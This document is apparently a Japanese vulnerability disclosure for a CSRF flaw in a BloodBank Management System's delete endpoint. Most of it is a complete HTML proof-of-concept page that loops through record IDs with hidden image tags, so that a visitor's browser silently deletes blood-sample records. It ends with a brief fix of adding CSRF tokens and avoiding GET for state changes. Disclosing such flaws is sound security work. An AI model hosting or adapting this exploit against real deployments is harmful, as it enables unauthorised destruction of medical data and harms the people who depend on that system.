
血液銀行 CSRF攻撃 POC
/file/delete.php?bid=BloodBank Management System の 献血リクエスト機能 において、クロスサイトリクエストフォージェリ (CSRF) の脆弱性が発見されました。この欠陥は、パス /file/delete.php?bid= に delete リクエストを送信する際に発生し、bid パラメータによってアプリケーション上の削除対象レコードを選択できるようになります。ただし、bid は血液サンプルの追加に応じて動的に変化するため、リクエストを成功させるために、ループ内で JavaScript で生成された画像タグを使用しました。
悪用に成功すると、被害者の代わりに 不正な操作(例:データの削除) が実行される可能性があります。また、ペイロードが埋め込まれた悪意のあるWebサイトにアクセスすることでも悪用される可能性があります。
以下は、bid パラメータを介して 利用可能な血液サンプル を削除する CSRF PoC攻撃 の例です。攻撃者が管理するドメイン(ここでは localhost を使用)上にファイルをホストします。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC</title>
</head>
<body>
<h2>CSRF Proof of Concept for Deleting Blood Bank Records</h2>
<script>
// Define the target URL where the Blood Bank System is hosted
const targetUrl = "http://localhost/bloodbank/file/delete.php";
// Loop through possible bid values (0 to 20) can be increased to as much as possible :)
for (let bid = 0; bid <= 20; bid++) {
// Create an image element for each bid value to send the GET request
let img = document.createElement("img");
img.src = `${targetUrl}?bid=${bid}`;
img.style.display = "none"; // Hide the image from view
document.body.appendChild(img);
}
</script>
</body>
</html>
csrf トークン を含め、さらに状態変更アクションに GET リクエストを使用しないようにしてください。